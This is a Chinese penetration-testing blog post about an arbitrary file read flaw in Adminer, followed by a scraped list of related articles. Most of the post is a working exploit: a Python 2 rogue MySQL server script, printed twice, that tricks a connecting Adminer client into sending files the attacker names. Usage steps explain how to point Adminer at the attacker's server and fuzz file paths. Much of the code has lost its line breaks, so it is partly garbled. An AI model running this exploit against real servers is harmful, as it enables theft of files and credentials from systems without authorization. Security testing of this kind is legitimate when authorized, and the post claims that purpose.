渗透测试中遇到的Adminer任意文件读取漏洞

  • 免责声明:
  • 软件简介
  • 漏洞原理
  • 漏洞复现
    • 字典脚本
    • 直接输入文件读取脚本
    • 直接输入文件绝对路径读取脚本使用方法
    • 字典脚本使用方法
    • 免责声明:

免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

软件简介

Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持连接远程数据库。

漏洞原理

Adminer任意文件读取漏洞其实来源于MySQL“LOAD DATA INFILE”安全问题,Adminer4.6.3版本中已经修复了LOAD DATA LOCAL INFILE问题。

漏洞复现

在某次做项目的时候遇到一个mysql.php,打开发现是adminer,网上搜到任意文件读取复现的时候,用了网上很多的python脚本都无法运行起来(例如:https://github.com/allyshka/Rogue-MySql-Server)。在GitHub找到一个可以运行的脚本,原理是模拟mysql的运行。

字典脚本

# -*- coding: utf-8 -*-
import socket
import os
import sys#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------def mysql_get_file_content(sv, filename):conn, address = sv.accept()logpath = os.path.abspath('.') + "/log/" + address[0]if not os.path.exists(logpath):os.makedirs(logpath)# Conn from address)conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")conn.recv(9999)# auth okayconn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")conn.recv(9999)# want file...wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filenameconn.sendall(wantfile)content = conn.recv(9999)conn.close()if len(content) > 4:with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:txt.write(content)return Trueelse:return False# 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)# 日志文件夹# 循环监听
while True:filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")if filename == "":breakres = mysql_get_file_content(sv, filename)if res:print "Read Success! ---> "+filenameelse:print "Not Found~ ---> "+filename

直接输入文件读取脚本

# -*- coding: utf-8 -*-
import socket
import os
import sys#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------def mysql_get_file_content(sv, filename):conn, address = sv.accept()logpath = os.path.abspath('.') + "/log/" + address[0]if not os.path.exists(logpath):os.makedirs(logpath)# Conn from address)conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")conn.recv(9999)# auth okayconn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")conn.recv(9999)# want file...wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filenameconn.sendall(wantfile)content = conn.recv(9999)conn.close()if len(content) > 4:with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:txt.write(content)return Trueelse:return False# 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)# 日志文件夹# 循环监听
while True:filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")if filename == "":breakres = mysql_get_file_content(sv, filename)if res:print "Read Success! ---> "+filenameelse:print "Not Found~ ---> "+filename
这两个mysql任意文件读取脚本 一定能满足你的需求!项目提供了两个文件,dicc和input, 一个采用字典的方式进行任意文件读取 一个采用交互式界面进行任意文件读取 不需要进入vim! 用字典直接读!命令行直接输! 结合burp intruder,直接fuzz出flag!采用了socket的端口复用技术,防止端口被系统占用,想绑定就绑定,为所欲为! PS: 端口复用只能防止套接字关闭后被系统保留,如果端口上已经有mysql应用,则还是不能绑定​ 会爆socket.error: [Errno 10013]错误

直接输入文件绝对路径读取脚本使用方法

python2 exp_input.py port
例
python2 exp_input.py 3306

脚本运行需要使用python2环境
输入想要读取的文件绝对路径,然后回车

打开adminer页面输入服务器的IP,用户名密码数据库可以随便输入。然后点击登录

看到如下代表成功读取文件。

成功读取文件。

字典脚本使用方法

把路径字典写到dict.txt文件

然后运行

python2 exp_dicc.py port
例
python2 exp_dicc.py 3306

此时会进入监听,可以在命令行输入你想读的文件,然后发包即可,每次发完包需重新输入文件名 直接回车即可退出,读取成功的文件也会被计入到log文件夹

工具下载地址

免责声明:

仅限授权安全测试使用,禁止未授权非法攻击站点。本文章仅供学习和研究使用。严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

渗透测试中遇到的Adminer任意文件读取漏洞相关推荐

  1. GitLab任意文件读取漏洞复现(CVE-2020-10977)

    0x00简介 GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的web服务.GitLab是由GitLabInc.开发,使用MIT许可证的基于网络的Git ...

  2. Grafana 中存在严重的未授权任意文件读取漏洞,已遭利用

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Grafana Labs 发布紧急安全更新,修复了影响该公司主产品 Grafana 仪表盘中的严重漏洞 (CVE-2021-43798),CVS ...

  3. phpcms前台注入导致任意文件读取漏洞

    关于:phpcms前台注入导致任意文件读取漏洞的修复问题 简介: phpcms的/phpcms/modules/content/down.php文件中,对输入参数 $_GET['a_k']未进行严格过 ...

  4. 记一次小米路由器任意文件读取漏洞

    文章目录 前言 一.漏洞发现 二.漏洞挖掘 1.简单的爆破 2.文件读取 三.漏洞利用 总结 前言 任意文件读取漏洞,是web安全里高危的漏洞,它可以泄露源码.数据库配置文件等等,导致网站处于极度不安 ...

  5. 《从0到1:CTFer成长之路》1.3 任意文件读取漏洞

    文章目录 1.3.1 文件读取漏洞常见触发点 1.3.1.1 web语言 1. PHP 2.python 3.Java 4.Ruby 5.Node 1.3.1.2 中间件.服务件相关 1.Nginx错 ...

  6. 7天学习Go语言-尾声+一次险些翻车的任意文件读取漏洞小记

    接口 接口的定义 接口(interface )类型是对其他类型行为的概括和抽象,接口类型定义了一组方法,但是不包括这些方法的具体实现 接口本质是一种指针类型,可以实现多态功能.如果一个类型实现了某个接 ...

  7. 【代码审计】任意文件读取漏洞实例

    0x00 前言 大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件. 这里,通过两个任意文件读取漏洞实例去展示漏洞原理.漏洞危害. 0x ...

  8. glassfish任意文件读取漏洞

    glassfish任意文件读取漏洞 1.简介 1.1.漏洞类型 1.2.漏洞成因 1.3.语法搜索 1.4.影响版本 2.漏洞复现 2.1.POC 2.2.访问地址 2.3.GlassFish的敏感目 ...

  9. 一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

    时间戳--2021.12.12 0x01 [HXBCTF 2021]easywill_WriteUp: 一.PHPSTORM框架调试 第一步:登录buuctf,打开[HXBCTF 2021]easyw ...

  10. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

最新文章

  1. 大型网站采用什么系统架构保证性能稳定性
  2. 甲骨文落寞、SAP跃进:商用软件巨头的突围与宿命
  3. 计算两个字符串之间是否包含的简单方法
  4. 部署ajax服务-支持jsonp
  5. rust相框加载图片代码_Rust 能取代 Python,更好的实现神经网络?
  6. Servlet-Access denied for user 'root'@'localhost' (using password: YES
  7. 【大数据】朴素的数据价值观
  8. 奇葩的UI引用LayoutInflater.from问题
  9. python常用函数import_python 常用函数集合
  10. js页面跳转 和 js打开新窗口 方法 【转】
  11. MATLAB 工具箱傻瓜式求解 NS(Navier Stoke)方程
  12. ctfmon是什么启动项_win10系统启动项中没有ctfmon进程的图文方法
  13. 传感器模块(光敏电阻/热敏电阻/红外接收管等)介绍及使用
  14. 苹果电脑怎么断网?你会断网吗? Mac电脑断网方法
  15. 爬取新浪微博(一)Scrapy入门教程
  16. 性能测试——jmeter性能测试——重点—核心——线程组、Ramp-Up Period、Loop Count 次采样...
  17. 创业之路 - 人脉关系 VS 人际关系
  18. CPS基本概念(信息物理融合系统)------1
  19. Kata Container是什么?
  20. Word文档怎么翻译?翻译word文档简单步骤讲解

热门文章

  1. SD卡被写保护怎么解除?
  2. mysql前台工具下载_phpmyadmin工具下载
  3. 李忠汇编语言-初学-第九章详解
  4. 高等数学笔记:两个重要极限
  5. WIFI智能音箱技术方案开发
  6. android wifi音箱,(原创)图文并茂教程,手把手教你用安卓手机当电脑的无线扬声器(喇叭)...
  7. MeGUI中文版2112稳定版发布
  8. 信号的平均功率与均方值
  9. vue各模块功能范围,webpack属性配置
  10. 【ASM】ASMLIB 系列